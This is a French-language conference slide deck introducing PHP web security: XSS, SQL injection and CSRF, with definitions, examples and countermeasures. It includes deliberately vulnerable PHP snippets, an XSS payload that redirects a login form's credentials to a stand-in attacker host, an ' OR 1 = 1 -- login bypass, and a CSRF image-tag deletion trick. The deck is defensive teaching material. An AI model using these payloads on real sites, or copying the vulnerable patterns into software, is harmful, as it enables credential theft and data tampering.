Introduction à la Sécurité des 
             Applications Web / PHP
       Principes de bases   Maxime Mauchaussée
       XSS
       Injection SQL
                             maxime@wixiweb.fr
       CSRF
                             @maximemdotnet
                             http://www.wixiweb.fr
                             @wixiweb

                         
Plan
       Principes de bases de sécurisations
       Failles de type XSS
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type SQL Injection
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type CSRF
           Définition
           Exemples / Exploitation
           Contre­mesures
       Conclusion

                                
Principes de bases

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code
           Paramètres d'URL, cookies, données de formulaire, etc.
           API, fichier d'import, base de données, etc.
           Variables d'environnement (user agent, referer, host, etc.)
       Éviter de permettre la saisie de balises HTML
           L'utilisation de la balise <img> doit être extrêmement encadrée
           Interdire l'utilisation des attributs dangereux tels que « style » et 
            « onload »
       Ne jamais minimiser l'importance d'une faille
           Toutes failles peut potentiellement être un jour exploitée
           Corriger le plus rapidement possible toute faille découverte



                                  
Failles de type XSS ­ Définition

       XSS : Cross Site Scripting

       Le principe est d'injecter des données arbitraires dans un 
        site web [...] Si ces données arrivent telles quelles dans la page 
        web transmise au navigateur sans avoir été vérifiées, alors il 
        existe une faille [Wikipedia]

       Injection de code HTML ou Javascript 

       Le contenu injecté est utilisé pour pièger un utilisateur



                             
Failles de type XSS – Exemple basique

       Exemple de site web banal :




                           
Failles de type XSS – Exemple basique

Fichier de vue PHP :
<form action="recherche.php" method="get">
<input type="text" name="q" value="<?php echo $_GET['q']; ?>" />
<input type="submit" value="recherche" />
</form>


Données saisies et envoyées au serveur :
"/><script type="text/javascript">alert('faille xss')</script><"


HTML compromis retourné par le serveur :
<input type="text" name="q" value=""/><script
type="text/javascript">alert('faille xss')</script><"" />




                        
Failles de type XSS – Exemple basique

       « PAF ! Pastèque ! » :




                            
Failles de type XSS – Exploitations

       Dégradation de l'image / la réputation du site

       Redirection automatique

       Initialisation de téléchargement de fichiers vérolés

       Vol d'identifiants

       Détournement de session (hijacking)

       Fixation de session


                               
Failles de type XSS – Exemples d'exploit

       Détournement de l'attribut « action » du formulaire 
        d'authentification par injection :

"/><script>document.forms[0].action='http://attaquant.fr/owned.php
';</script><"


       Les utilisateurs enverront leurs identifiants vers le scripts défini 
        par l'attaquant

       Possibilité de redirection (parfois transparente) vers la page 
        légitime


                              
Failles de type XSS – Contre­mesures

       Filtrer / nettoyer les données en entrée :
           Toute donnée a un format : longueur, bornes, etc.

           filter_var() ou filter_input()

           strip_tags() en second choix

           Ne pas autoriser la saisie de balises HTML

       Et en sortie :
           htmlspecialchars()




                                   
Failles de type SQL Injection ­ Définition

       Injection SQL

       Terme qui désigne l'interprétation imprévue d'un code SQL 
        dans une application. Ce code a été introduit par une voie 
        détournée. [CERTA]




                           
Failles de type SQL Injection – Exemple

       Bypass de l'authentification :




                             
Failles de type SQL Injection – Exemple

       Code PHP :
mysql_query("SELECT id, login, profil FROM user WHERE login = '" .
$_POST['login'] . "' AND password = '" . $_POST['password'] .
"';");

       Données saisies dans le champ « login » :
' OR 1 = 1 --

       Interpretation de la requête SQL par PHP :
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''




                            
Failles de type SQL Injection ­ Exploitation

       Cette technique permet, [...] à un utilisateur malveillant de 
        modifier la base de données, ou accéder à des informations qui 
        ne lui sont pas destinées. [CERTA]

       Privilege escalation – augmentation de droit d'accès

       Vols de données

       Destruction de données

       Injection de code malveillant

                             
Failles de type SQL Injection – Contre­mesures

       addslashes()
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''


       mysql_real_escape_string()

       Requêtes préparées

       Requêtes préparées > mysql_real_escape_string > addslashes

       Ne pas utiliser le compte SQL « root » pour votre application


                            
Failles de type CSRF ­ Définition

       Cross­Site Request Forgery

       Injection de requêtes illégitimes par rebond [CERTA]

       Attaque provoquant l'envoi de requêtes par la victime, vers un 
        site vulnérable, à son insu et en son nom. [CERTA]

       N'exploite pas forcément l'absence de validation




                            
Failles de type CSRF – Exemple basique

       Système de commentaires :




                          
Failles de type CSRF – Exemple

       Un lien est fournit pour supprimer un de ses commentaires :
http://sitemalfichu.fr/delete_comment?id=2

       Prédiction de l'identifiant du commentaire de la victime par 
        l'attaquant :
http://sitemalfichu.fr/delete_comment?id=1


       Insertion d'une balise image dans un commentaire par 
        l'attaquant :
<img src="http://sitemalfichu.fr/delete_comment?id=1" />

        Au chargement de la page par la victime, elle supprime son 
        commentaire

                             
Failles de type CSRF – Exploitation

       Suppression de données : message, compte utilisateur, etc.

       Publication de messages : désinformation, spam, virus, etc.

       Changement de mot de passe

       Changement d'adresse email

       Triche à des concours ou sondages




                            
Failles de type CSRF – Contre­mesures

       Utiliser la méthode HTTP POST

       Bannir l'utilisation de $_REQUEST

       Mettre en place un système de tokens pour les actions les 
        plus sensibles

       Interdire la possibilité de saisie de balises HTML




                             
Conclusion

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code

       Toute donnée a un format : longeur, bornes, volume, etc.

       Toujours filtrer / nettoyer ces données en entrée et en sortie

       Corriger les failles le plus rapidement possible

       La sécurité des applications web ne s'arrête pas là : 
        configuration de PHP, du serveur web, de l'infrastructure 
        réseau, etc. 
                             
Questions ­ Réponses

       Exemples de questions si vous n'avez pas d'idée :

           Comment détecter de telles failles dans mon application ?

           Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?

           Quelles autres bonne pratiques peut on appliquer pour sécuriser des 
            application web ?

           Qu'est ce qu'une « blind sql injection » ?

           Où trouvez des informations complémentaires à ce sujet ?

           Existe­t­il d'autres types de failles ?


                                  
Merci de votre attention :)

       Contact :
           maxime@wixiweb.fr
           https://twitter.com/maximemdotnet
           https://identi.ca/maximemdotnet
           http://www.wixiweb.fr/




                                

Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

  • 1.
    Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb    
  • 2.
    Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion    
  • 3.
    Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres d'URL, cookies, données de formulaire, etc.  API, fichier d'import, base de données, etc.  Variables d'environnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  L'utilisation de la balise <img> doit être extrêmement encadrée  Interdire l'utilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser l'importance d'une faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte    
  • 4.
    Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est d'injecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur    
  • 5.
    Failles de type XSS – Exemple basique  Exemple de site web banal :    
  • 6.
    Failles de type XSS – Exemple basique Fichier de vue PHP : <form action="recherche.php" method="get"> <inputtype="text" name="q" value="<?php echo $_GET['q']; ?>" /> <input type="submit" value="recherche" /> </form> Données saisies et envoyées au serveur : "/><script type="text/javascript">alert('faille xss')</script><" HTML compromis retourné par le serveur : <input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />    
  • 7.
    Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :    
  • 8.
    Failles de type XSS – Exploitations  Dégradation de l'image / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol d'identifiants  Détournement de session (hijacking)  Fixation de session    
  • 9.
    Failles de type XSS – Exemples d'exploit  Détournement de l'attribut « action » du formulaire  d'authentification par injection : "/><script>document.forms[0].action='http://attaquant.fr/owned.php ';</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par l'attaquant  Possibilité de redirection (parfois transparente) vers la page  légitime    
  • 10.
    Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()    
  • 11.
    Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne l'interprétation imprévue d'un code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]    
  • 12.
    Failles de type SQL Injection – Exemple  Bypass de l'authentification :    
  • 13.
    Failles de type SQL Injection – Exemple  Code PHP : mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");  Données saisies dans le champ « login » : ' OR 1 = 1 --  Interpretation de la requête SQL par PHP : SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''    
  • 14.
    Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit d'accès  Vols de données  Destruction de données  Injection de code malveillant    
  • 15.
    Failles de type SQL Injection – Contre­mesures  addslashes() SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application    
  • 16.
    Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant l'envoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  N'exploite pas forcément l'absence de validation    
  • 17.
    Failles de type CSRF – Exemple basique  Système de commentaires :    
  • 18.
    Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires : http://sitemalfichu.fr/delete_comment?id=2  Prédiction de l'identifiant du commentaire de la victime par  l'attaquant : http://sitemalfichu.fr/delete_comment?id=1  Insertion d'une balise image dans un commentaire par  l'attaquant : <img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire    
  • 19.
    Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement d'adresse email  Triche à des concours ou sondages    
  • 20.
    Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir l'utilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML    
  • 21.
    Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne s'arrête pas là :  configuration de PHP, du serveur web, de l'infrastructure  réseau, etc.     
  • 22.
    Questions ­ Réponses  Exemples de questions si vous n'avez pas d'idée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Qu'est ce qu'une « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il d'autres types de failles ?    
  • 23.
    Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/